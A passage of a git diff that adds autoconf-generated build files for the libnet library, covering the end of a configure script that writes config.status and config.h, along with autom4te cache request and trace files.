+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ echo $f;;
+ *) # Relative
+ if test -f "$f"; then
+ # Build tree
+ echo $f
+ elif test -f "$srcdir/$f"; then
+ # Source tree
+ echo $srcdir/$f
+ else
+ # /dev/null tree
+ { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ fi;;
+ esac
+ done` || { (exit 1); exit 1; }
+_ACEOF
+cat >>$CONFIG_STATUS <<_ACEOF
+ sed "$ac_vpsub
+$extrasub
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+:t
+/@[a-zA-Z_][a-zA-Z_0-9]*@/!b
+s,@configure_input@,$configure_input,;t t
+s,@srcdir@,$ac_srcdir,;t t
+s,@abs_srcdir@,$ac_abs_srcdir,;t t
+s,@top_srcdir@,$ac_top_srcdir,;t t
+s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t
+s,@builddir@,$ac_builddir,;t t
+s,@abs_builddir@,$ac_abs_builddir,;t t
+s,@top_builddir@,$ac_top_builddir,;t t
+s,@abs_top_builddir@,$ac_abs_top_builddir,;t t
+s,@INSTALL@,$ac_INSTALL,;t t
+" $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out
+ rm -f $tmp/stdin
+ if test x"$ac_file" != x-; then
+ mv $tmp/out $ac_file
+ else
+ cat $tmp/out
+ rm -f $tmp/out
+ fi
+
+done
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+#
+# CONFIG_HEADER section.
+#
+
+# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where
+# NAME is the cpp macro being defined and VALUE is the value it is being given.
+#
+# ac_d sets the value in "#define NAME VALUE" lines.
+ac_dA='s,^\([ ]*\)#\([ ]*define[ ][ ]*\)'
+ac_dB='[ ].*$,\1#\2'
+ac_dC=' '
+ac_dD=',;t'
+# ac_u turns "#undef NAME" without trailing blanks into "#define NAME VALUE".
+ac_uA='s,^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)'
+ac_uB='$,\1#\2define\3'
+ac_uC=' '
+ac_uD=',;t'
+
+for ac_file in : $CONFIG_HEADERS; do test "x$ac_file" = x: && continue
+ # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
+ case $ac_file in
+ - | *:- | *:-:* ) # input from stdin
+ cat >$tmp/stdin
+ ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+ * ) ac_file_in=$ac_file.in ;;
+ esac
+
+ test x"$ac_file" != x- && { echo "$as_me:$LINENO: creating $ac_file" >&5
+echo "$as_me: creating $ac_file" >&6;}
+
+ # First look for the input files in the build tree, otherwise in the
+ # src tree.
+ ac_file_inputs=`IFS=:
+ for f in $ac_file_in; do
+ case $f in
+ -) echo $tmp/stdin ;;
+ [\\/$]*)
+ # Absolute (can't be DOS-style, as IFS=:)
+ test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ echo $f;;
+ *) # Relative
+ if test -f "$f"; then
+ # Build tree
+ echo $f
+ elif test -f "$srcdir/$f"; then
+ # Source tree
+ echo $srcdir/$f
+ else
+ # /dev/null tree
+ { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+ { (exit 1); exit 1; }; }
+ fi;;
+ esac
+ done` || { (exit 1); exit 1; }
+ # Remove the trailing spaces.
+ sed 's/[ ]*$//' $ac_file_inputs >$tmp/in
+
+_ACEOF
+
+# Transform confdefs.h into two sed scripts, `conftest.defines' and
+# `conftest.undefs', that substitutes the proper values into
+# config.h.in to produce config.h. The first handles `#define'
+# templates, and the second `#undef' templates.
+# And first: Protect against being on the right side of a sed subst in
+# config.status. Protect against being in an unquoted here document
+# in config.status.
+rm -f conftest.defines conftest.undefs
+# Using a here document instead of a string reduces the quoting nightmare.
+# Putting comments in sed scripts is not portable.
+#
+# `end' is used to avoid that the second main sed command (meant for
+# 0-ary CPP macros) applies to n-ary macro definitions.
+# See the Autoconf documentation for `clear'.
+cat >confdef2sed.sed <<\_ACEOF
+s/[\\&,]/\\&/g
+s,[\\$`],\\&,g
+t clear
+: clear
+s,^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*\)\(([^)]*)\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1\2${ac_dC}\3${ac_dD},gp
+t end
+s,^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD},gp
+: end
+_ACEOF
+# If some macros were called several times there might be several times
+# the same #defines, which is useless. Nevertheless, we may not want to
+# sort them, since we want the *last* AC-DEFINE to be honored.
+uniq confdefs.h | sed -n -f confdef2sed.sed >conftest.defines
+sed 's/ac_d/ac_u/g' conftest.defines >conftest.undefs
+rm -f confdef2sed.sed
+
+# This sed command replaces #undef with comments. This is necessary, for
+# example, in the case of _POSIX_SOURCE, which is predefined and required
+# on some systems where configure will not decide to define it.
+cat >>conftest.undefs <<\_ACEOF
+s,^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*,/* & */,
+_ACEOF
+
+# Break up conftest.defines because some shells have a limit on the size
+# of here documents, and old seds have small limits too (100 cmds).
+echo ' # Handle all the #define templates only if necessary.' >>$CONFIG_STATUS
+echo ' if grep "^[ ]*#[ ]*define" $tmp/in >/dev/null; then' >>$CONFIG_STATUS
+echo ' # If there are no defines, we may have an empty if/fi' >>$CONFIG_STATUS
+echo ' :' >>$CONFIG_STATUS
+rm -f conftest.tail
+while grep . conftest.defines >/dev/null
+do
+ # Write a limited-size here document to $tmp/defines.sed.
+ echo ' cat >$tmp/defines.sed <<CEOF' >>$CONFIG_STATUS
+ # Speed up: don't consider the non `#define' lines.
+ echo '/^[ ]*#[ ]*define/!b' >>$CONFIG_STATUS
+ # Work around the forget-to-reset-the-flag bug.
+ echo 't clr' >>$CONFIG_STATUS
+ echo ': clr' >>$CONFIG_STATUS
+ sed ${ac_max_here_lines}q conftest.defines >>$CONFIG_STATUS
+ echo 'CEOF
+ sed -f $tmp/defines.sed $tmp/in >$tmp/out
+ rm -f $tmp/in
+ mv $tmp/out $tmp/in
+' >>$CONFIG_STATUS
+ sed 1,${ac_max_here_lines}d conftest.defines >conftest.tail
+ rm -f conftest.defines
+ mv conftest.tail conftest.defines
+done
+rm -f conftest.defines
+echo ' fi # grep' >>$CONFIG_STATUS
+echo >>$CONFIG_STATUS
+
+# Break up conftest.undefs because some shells have a limit on the size
+# of here documents, and old seds have small limits too (100 cmds).
+echo ' # Handle all the #undef templates' >>$CONFIG_STATUS
+rm -f conftest.tail
+while grep . conftest.undefs >/dev/null
+do
+ # Write a limited-size here document to $tmp/undefs.sed.
+ echo ' cat >$tmp/undefs.sed <<CEOF' >>$CONFIG_STATUS
+ # Speed up: don't consider the non `#undef'
+ echo '/^[ ]*#[ ]*undef/!b' >>$CONFIG_STATUS
+ # Work around the forget-to-reset-the-flag bug.
+ echo 't clr' >>$CONFIG_STATUS
+ echo ': clr' >>$CONFIG_STATUS
+ sed ${ac_max_here_lines}q conftest.undefs >>$CONFIG_STATUS
+ echo 'CEOF
+ sed -f $tmp/undefs.sed $tmp/in >$tmp/out
+ rm -f $tmp/in
+ mv $tmp/out $tmp/in
+' >>$CONFIG_STATUS
+ sed 1,${ac_max_here_lines}d conftest.undefs >conftest.tail
+ rm -f conftest.undefs
+ mv conftest.tail conftest.undefs
+done
+rm -f conftest.undefs
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+ # Let's still pretend it is `configure' which instantiates (i.e., don't
+ # use $as_me), people would be surprised to read:
+ # /* config.h. Generated by config.status. */
+ if test x"$ac_file" = x-; then
+ echo "/* Generated by configure. */" >$tmp/config.h
+ else
+ echo "/* $ac_file. Generated by configure. */" >$tmp/config.h
+ fi
+ cat $tmp/in >>$tmp/config.h
+ rm -f $tmp/in
+ if test x"$ac_file" != x-; then
+ if diff $ac_file $tmp/config.h >/dev/null 2>&1; then
+ { echo "$as_me:$LINENO: $ac_file is unchanged" >&5
+echo "$as_me: $ac_file is unchanged" >&6;}
+ else
+ ac_dir=`(dirname "$ac_file") 2>/dev/null ||
+$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$ac_file" : 'X\(//\)[^/]' \| \
+ X"$ac_file" : 'X\(//\)$' \| \
+ X"$ac_file" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$ac_file" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ { if $as_mkdir_p; then
+ mkdir -p "$ac_dir"
+ else
+ as_dir="$ac_dir"
+ as_dirs=
+ while test ! -d "$as_dir"; do
+ as_dirs="$as_dir $as_dirs"
+ as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$as_dir" : 'X\(//\)[^/]' \| \
+ X"$as_dir" : 'X\(//\)$' \| \
+ X"$as_dir" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ done
+ test ! -n "$as_dirs" || mkdir $as_dirs
+ fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+ { (exit 1); exit 1; }; }; }
+
+ rm -f $ac_file
+ mv $tmp/config.h $ac_file
+ fi
+ else
+ cat $tmp/config.h
+ rm -f $tmp/config.h
+ fi
+ # Run the commands associated with the file.
+ case $ac_file in
+ include/config.h ) # update the timestamp
+echo 'timestamp for include/config.h' >"include/stamp-h1"
+ ;;
+ esac
+done
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+#
+# CONFIG_COMMANDS section.
+#
+for ac_file in : $CONFIG_COMMANDS; do test "x$ac_file" = x: && continue
+ ac_dest=`echo "$ac_file" | sed 's,:.*,,'`
+ ac_source=`echo "$ac_file" | sed 's,[^:]*:,,'`
+ ac_dir=`(dirname "$ac_dest") 2>/dev/null ||
+$as_expr X"$ac_dest" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$ac_dest" : 'X\(//\)[^/]' \| \
+ X"$ac_dest" : 'X\(//\)$' \| \
+ X"$ac_dest" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$ac_dest" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ ac_builddir=.
+
+if test "$ac_dir" != .; then
+ ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+ # A "../" for each directory in $ac_dir_suffix.
+ ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+ ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+ .) # No --srcdir option. We are building in place.
+ ac_srcdir=.
+ if test -z "$ac_top_builddir"; then
+ ac_top_srcdir=.
+ else
+ ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+ fi ;;
+ [\\/]* | ?:[\\/]* ) # Absolute path.
+ ac_srcdir=$srcdir$ac_dir_suffix;
+ ac_top_srcdir=$srcdir ;;
+ *) # Relative path.
+ ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+ ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+# Don't blindly perform a `cd "$ac_dir"/$ac_foo && pwd` since $ac_foo can be
+# absolute.
+ac_abs_builddir=`cd "$ac_dir" && cd $ac_builddir && pwd`
+ac_abs_top_builddir=`cd "$ac_dir" && cd ${ac_top_builddir}. && pwd`
+ac_abs_srcdir=`cd "$ac_dir" && cd $ac_srcdir && pwd`
+ac_abs_top_srcdir=`cd "$ac_dir" && cd $ac_top_srcdir && pwd`
+
+
+ { echo "$as_me:$LINENO: executing $ac_dest commands" >&5
+echo "$as_me: executing $ac_dest commands" >&6;}
+ case $ac_dest in
+ depfiles ) test x"$AMDEP_TRUE" != x"" || for mf in $CONFIG_FILES; do
+ # Strip MF so we end up with the name of the file.
+ mf=`echo "$mf" | sed -e 's/:.*$//'`
+ # Check whether this is an Automake generated Makefile or not.
+ # We used to match only the files named `Makefile.in', but
+ # some people rename them; so instead we look at the file content.
+ # Grep'ing the first line is not enough: some people post-process
+ # each Makefile.in and add a new line on top of each file to say so.
+ # So let's grep whole file.
+ if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then
+ dirpart=`(dirname "$mf") 2>/dev/null ||
+$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$mf" : 'X\(//\)[^/]' \| \
+ X"$mf" : 'X\(//\)$' \| \
+ X"$mf" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$mf" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ else
+ continue
+ fi
+ grep '^DEP_FILES *= *[^ @%:@]' < "$mf" > /dev/null || continue
+ # Extract the definition of DEP_FILES from the Makefile without
+ # running `make'.
+ DEPDIR=`sed -n -e '/^DEPDIR = / s///p' < "$mf"`
+ test -z "$DEPDIR" && continue
+ # When using ansi2knr, U may be empty or an underscore; expand it
+ U=`sed -n -e '/^U = / s///p' < "$mf"`
+ test -d "$dirpart/$DEPDIR" || mkdir "$dirpart/$DEPDIR"
+ # We invoke sed twice because it is the simplest approach to
+ # changing $(DEPDIR) to its actual value in the expansion.
+ for file in `sed -n -e '
+ /^DEP_FILES = .*\\\\$/ {
+ s/^DEP_FILES = //
+ :loop
+ s/\\\\$//
+ p
+ n
+ /\\\\$/ b loop
+ p
+ }
+ /^DEP_FILES = / s/^DEP_FILES = //p' < "$mf" | \
+ sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
+ # Make sure the directory exists.
+ test -f "$dirpart/$file" && continue
+ fdir=`(dirname "$file") 2>/dev/null ||
+$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$file" : 'X\(//\)[^/]' \| \
+ X"$file" : 'X\(//\)$' \| \
+ X"$file" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$file" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ { if $as_mkdir_p; then
+ mkdir -p $dirpart/$fdir
+ else
+ as_dir=$dirpart/$fdir
+ as_dirs=
+ while test ! -d "$as_dir"; do
+ as_dirs="$as_dir $as_dirs"
+ as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+ X"$as_dir" : 'X\(//\)[^/]' \| \
+ X"$as_dir" : 'X\(//\)$' \| \
+ X"$as_dir" : 'X\(/\)' \| \
+ . : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+ sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+ /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+ /^X\(\/\/\)$/{ s//\1/; q; }
+ /^X\(\/\).*/{ s//\1/; q; }
+ s/.*/./; q'`
+ done
+ test ! -n "$as_dirs" || mkdir $as_dirs
+ fi || { { echo "$as_me:$LINENO: error: cannot create directory $dirpart/$fdir" >&5
+echo "$as_me: error: cannot create directory $dirpart/$fdir" >&2;}
+ { (exit 1); exit 1; }; }; }
+
+ # echo "creating $dirpart/$file"
+ echo '# dummy' > "$dirpart/$file"
+ done
+done
+ ;;
+ default ) chmod +x libnet-config ;;
+ esac
+done
+_ACEOF
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+{ (exit 0); exit 0; }
+_ACEOF
+chmod +x $CONFIG_STATUS
+ac_clean_files=$ac_clean_files_save
+
+
+# configure is writing to config.log, and then calls config.status.
+# config.status does its own redirection, appending to config.log.
+# Unfortunately, on DOS this fails, as config.log is still kept open
+# by configure, so config.status won't be able to write to it; its
+# output is simply discarded. So we exec the FD to /dev/null,
+# effectively closing config.log, so it can be properly (re)opened and
+# appended to by config.status. When coming back to configure, we
+# need to make the FD available again.
+if test "$no_create" != yes; then
+ ac_cs_success=:
+ ac_config_status_args=
+ test "$silent" = yes &&
+ ac_config_status_args="$ac_config_status_args --quiet"
+ exec 5>/dev/null
+ $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false
+ exec 5>>config.log
+ # Use ||, not &&, to avoid exiting from the if with $? = 1, which
+ # would make configure fail if this is the last instruction.
+ $ac_cs_success || { (exit 1); exit 1; }
+fi
+
diff --git a/libnet/autom4te.cache/requests b/libnet/autom4te.cache/requests
new file mode 100644
index 0000000..20e445e
--- /dev/null
+++ b/libnet/autom4te.cache/requests
@@ -0,0 +1,111 @@
+# This file was created by autom4te.
+# It contains the lists of macros which have been traced.
+# It can be safely removed.
+
+@request = (
+ bless( [
+ '0',
+ 1,
+ [
+ '/usr/share/autoconf'
+ ],
+ [
+ '/usr/share/autoconf/autoconf/autoconf.m4f',
+ 'aclocal.m4',
+ 'configure.in'
+ ],
+ {
+ 'AC_CONFIG_SUBDIRS' => 1,
+ 'AM_PROG_CC_C_O' => 1,
+ 'AC_CHECK_TYPES' => 1,
+ 'AC_FUNC_MMAP' => 1,
+ 'AC_FUNC_FORK' => 1,
+ 'AM_AUTOMAKE_VERSION' => 1,
+ 'AC_FUNC_MBRTOWC' => 1,
+ 'AC_FUNC_REALLOC' => 1,
+ 'AC_FUNC_STRTOD' => 1,
+ 'AC_PROG_CXX' => 1,
+ 'AC_PROG_CPP' => 1,
+ 'AC_CHECK_LIB' => 1,
+ 'AC_TYPE_MODE_T' => 1,
+ 'AC_FUNC_STRCOLL' => 1,
+ 'include' => 1,
+ 'AC_PROG_MAKE_SET' => 1,
+ 'AC_FUNC_CLOSEDIR_VOID' => 1,
+ 'AC_TYPE_SIGNAL' => 1,
+ 'AC_HEADER_MAJOR' => 1,
+ 'AC_FUNC_FSEEKO' => 1,
+ 'AC_FUNC_LSTAT' => 1,
+ 'AC_DECL_SYS_SIGLIST' => 1,
+ 'AC_PROG_YACC' => 1,
+ 'm4_include' => 1,
+ 'AH_OUTPUT' => 1,
+ 'AC_PROG_GCC_TRADITIONAL' => 1,
+ 'AC_PROG_RANLIB' => 1,
+ 'AC_C_INLINE' => 1,
+ 'AC_REPLACE_FNMATCH' => 1,
+ 'm4_pattern_forbid' => 1,
+ 'AC_FUNC_OBSTACK' => 1,
+ 'AC_CANONICAL_HOST' => 1,
+ 'AC_FUNC_MALLOC' => 1,
+ 'AC_HEADER_TIME' => 1,
+ 'AC_FUNC_GETPGRP' => 1,
+ 'AC_FUNC_STRNLEN' => 1,
+ 'm4_pattern_allow' => 1,
+ 'AC_FUNC_CHOWN' => 1,
+ 'AC_TYPE_UID_T' => 1,
+ 'AC_FUNC_VPRINTF' => 1,
+ 'AC_FUNC_MKTIME' => 1,
+ 'AM_CONDITIONAL' => 1,
+ 'AC_FUNC_ALLOCA' => 1,
+ 'AC_CONFIG_AUX_DIR' => 1,
+ 'AC_FUNC_LSTAT_FOLLOWS_SLASHED_SYMLINK' => 1,
+ 'AC_FUNC_STAT' => 1,
+ 'AM_GNU_GETTEXT' => 1,
+ 'AC_FUNC_GETGROUPS' => 1,
+ 'AC_PROG_LIBTOOL' => 1,
+ 'AC_FUNC_SELECT_ARGTYPES' => 1,
+ 'AC_CONFIG_HEADERS' => 1,
+ 'AC_STRUCT_TIMEZONE' => 1,
+ 'AC_FUNC_STRFTIME' => 1,
+ 'AC_HEADER_SYS_WAIT' => 1,
+ 'AC_FUNC_SETVBUF_REVERSED' => 1,
+ 'AC_SUBST' => 1,
+ 'AC_CHECK_HEADERS' => 1,
+ 'AC_PROG_LN_S' => 1,
+ 'AC_PROG_INSTALL' => 1,
+ 'AM_MAINTAINER_MODE' => 1,
+ 'AM_INIT_AUTOMAKE' => 1,
+ 'AC_CHECK_FUNCS' => 1,
+ 'AC_FUNC_GETLOADAVG' => 1,
+ 'AC_HEADER_STDC' => 1,
+ 'AC_HEADER_STAT' => 1,
+ 'AC_TYPE_SIZE_T' => 1,
+ 'AC_CONFIG_FILES' => 1,
+ 'AC_C_CONST' => 1,
+ 'AC_STRUCT_ST_BLOCKS' => 1,
+ 'AC_DEFINE_TRACE_LITERAL' => 1,
+ 'AC_FUNC_WAIT3' => 1,
+ 'AC_FUNC_UTIME_NULL' => 1,
+ 'AC_PROG_LEX' => 1,
+ 'AC_STRUCT_TM' => 1,
+ 'AC_CHECK_MEMBERS' => 1,
+ 'AC_FUNC_ERROR_AT_LINE' => 1,
+ 'AC_PROG_AWK' => 1,
+ 'AC_PROG_CC' => 1,
+ 'AC_TYPE_OFF_T' => 1,
+ 'AC_HEADER_DIRENT' => 1,
+ 'AC_FUNC_GETMNTENT' => 1,
+ 'AC_PATH_X' => 1,
+ 'AC_TYPE_PID_T' => 1,
+ 'AC_LIBSOURCE' => 1,
+ 'AC_FUNC_SETPGRP' => 1,
+ 'AC_FUNC_MEMCMP' => 1,
+ 'AC_CANONICAL_SYSTEM' => 1,
+ 'AC_C_VOLATILE' => 1,
+ 'AC_FUNC_STRERROR_R' => 1,
+ 'AC_INIT' => 1
+ }
+ ], 'Request' )
+ );
+
diff --git a/libnet/autom4te.cache/traces.0 b/libnet/autom4te.cache/traces.0
new file mode 100644
index 0000000..355b55c
--- /dev/null
+++ b/libnet/autom4te.cache/traces.0
@@ -0,0 +1,272 @@
+m4trace:aclocal.m4:514: -1- m4_pattern_allow([^AM_[A-Z]+FLAGS$])
+m4trace:configure.in:10: -1- AC_INIT([src/libnet_build_ip.c])
+m4trace:configure.in:10: -1- m4_pattern_forbid([^_?A[CHUM]_])
+m4trace:configure.in:10: -1- m4_pattern_forbid([_AC_])
+m4trace:configure.in:10: -1- m4_pattern_forbid([^LIBOBJS$], [do not use LIBOBJS directly, use AC_LIBOBJ (see section `AC_LIBOBJ vs LIBOBJS'])
+m4trace:configure.in:10: -1- m4_pattern_allow([^AS_FLAGS$])
+m4trace:configure.in:10: -1- m4_pattern_forbid([^_?m4_])
+m4trace:configure.in:10: -1- m4_pattern_forbid([^dnl$])
+m4trace:configure.in:10: -1- m4_pattern_forbid([^_?AS_])
+m4trace:configure.in:10: -1- AC_SUBST([SHELL], [${CONFIG_SHELL-/bin/sh}])
+m4trace:configure.in:10: -1- AC_SUBST([PATH_SEPARATOR])
+m4trace:configure.in:10: -1- AC_SUBST([PACKAGE_NAME], [m4_ifdef([AC_PACKAGE_NAME], ['AC_PACKAGE_NAME'])])
+m4trace:configure.in:10: -1- AC_SUBST([PACKAGE_TARNAME], [m4_ifdef([AC_PACKAGE_TARNAME], ['AC_PACKAGE_TARNAME'])])
+m4trace:configure.in:10: -1- AC_SUBST([PACKAGE_VERSION], [m4_ifdef([AC_PACKAGE_VERSION], ['AC_PACKAGE_VERSION'])])
+m4trace:configure.in:10: -1- AC_SUBST([PACKAGE_STRING], [m4_ifdef([AC_PACKAGE_STRING], ['AC_PACKAGE_STRING'])])
+m4trace:configure.in:10: -1- AC_SUBST([PACKAGE_BUGREPORT], [m4_ifdef([AC_PACKAGE_BUGREPORT], ['AC_PACKAGE_BUGREPORT'])])
+m4trace:configure.in:10: -1- AC_SUBST([exec_prefix], [NONE])
+m4trace:configure.in:10: -1- AC_SUBST([prefix], [NONE])
+m4trace:configure.in:10: -1- AC_SUBST([program_transform_name], [s,x,x,])
+m4trace:configure.in:10: -1- AC_SUBST([bindir], ['${exec_prefix}/bin'])
+m4trace:configure.in:10: -1- AC_SUBST([sbindir], ['${exec_prefix}/sbin'])
+m4trace:configure.in:10: -1- AC_SUBST([libexecdir], ['${exec_prefix}/libexec'])
+m4trace:configure.in:10: -1- AC_SUBST([datadir], ['${prefix}/share'])
+m4trace:configure.in:10: -1- AC_SUBST([sysconfdir], ['${prefix}/etc'])
+m4trace:configure.in:10: -1- AC_SUBST([sharedstatedir], ['${prefix}/com'])
+m4trace:configure.in:10: -1- AC_SUBST([localstatedir], ['${prefix}/var'])
+m4trace:configure.in:10: -1- AC_SUBST([libdir], ['${exec_prefix}/lib'])
+m4trace:configure.in:10: -1- AC_SUBST([includedir], ['${prefix}/include'])
+m4trace:configure.in:10: -1- AC_SUBST([oldincludedir], ['/usr/include'])
+m4trace:configure.in:10: -1- AC_SUBST([infodir], ['${prefix}/info'])
+m4trace:configure.in:10: -1- AC_SUBST([mandir], ['${prefix}/man'])
+m4trace:configure.in:10: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_NAME])
+m4trace:configure.in:10: -1- AH_OUTPUT([PACKAGE_NAME], [/* Define to the full name of this package. */
+#undef PACKAGE_NAME])
+m4trace:configure.in:10: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_TARNAME])
+m4trace:configure.in:10: -1- AH_OUTPUT([PACKAGE_TARNAME], [/* Define to the one symbol short name of this package. */
+#undef PACKAGE_TARNAME])
+m4trace:configure.in:10: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_VERSION])
+m4trace:configure.in:10: -1- AH_OUTPUT([PACKAGE_VERSION], [/* Define to the version of this package. */
+#undef PACKAGE_VERSION])
+m4trace:configure.in:10: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_STRING])
+m4trace:configure.in:10: -1- AH_OUTPUT([PACKAGE_STRING], [/* Define to the full name and version of this package. */
+#undef PACKAGE_STRING])
+m4trace:configure.in:10: -1- AC_DEFINE_TRACE_LITERAL([PACKAGE_BUGREPORT])
+m4trace:configure.in:10: -1- AH_OUTPUT([PACKAGE_BUGREPORT], [/* Define to the address where bug reports for this package should be sent. */
+#undef PACKAGE_BUGREPORT])
+m4trace:configure.in:10: -1- AC_SUBST([build_alias])
+m4trace:configure.in:10: -1- AC_SUBST([host_alias])
+m4trace:configure.in:10: -1- AC_SUBST([target_alias])
+m4trace:configure.in:10: -1- AC_SUBST([DEFS])
+m4trace:configure.in:10: -1- AC_SUBST([ECHO_C])
+m4trace:configure.in:10: -1- AC_SUBST([ECHO_N])
+m4trace:configure.in:10: -1- AC_SUBST([ECHO_T])
+m4trace:configure.in:10: -1- AC_SUBST([LIBS])
+m4trace:configure.in:13: -1- AC_CANONICAL_SYSTEM
+m4trace:configure.in:13: -1- AC_CANONICAL_HOST
+m4trace:configure.in:13: -1- AC_SUBST([build], [$ac_cv_build])
+m4trace:configure.in:13: -1- AC_SUBST([build_cpu], [`echo $ac_cv_build | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\1/'`])
+m4trace:configure.in:13: -1- AC_SUBST([build_vendor], [`echo $ac_cv_build | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\2/'`])
+m4trace:configure.in:13: -1- AC_SUBST([build_os], [`echo $ac_cv_build | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\3/'`])
+m4trace:configure.in:13: -1- AC_SUBST([host], [$ac_cv_host])
+m4trace:configure.in:13: -1- AC_SUBST([host_cpu], [`echo $ac_cv_host | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\1/'`])
+m4trace:configure.in:13: -1- AC_SUBST([host_vendor], [`echo $ac_cv_host | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\2/'`])
+m4trace:configure.in:13: -1- AC_SUBST([host_os], [`echo $ac_cv_host | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\3/'`])
+m4trace:configure.in:13: -1- AC_SUBST([target], [$ac_cv_target])
+m4trace:configure.in:13: -1- AC_SUBST([target_cpu], [`echo $ac_cv_target | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\1/'`])
+m4trace:configure.in:13: -1- AC_SUBST([target_vendor], [`echo $ac_cv_target | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\2/'`])
+m4trace:configure.in:13: -1- AC_SUBST([target_os], [`echo $ac_cv_target | sed 's/^\([[^-]]*\)-\([[^-]]*\)-\(.*\)$/\3/'`])
+m4trace:configure.in:15: -1- AM_INIT_AUTOMAKE([libnet], [$LIBNET_VERSION])
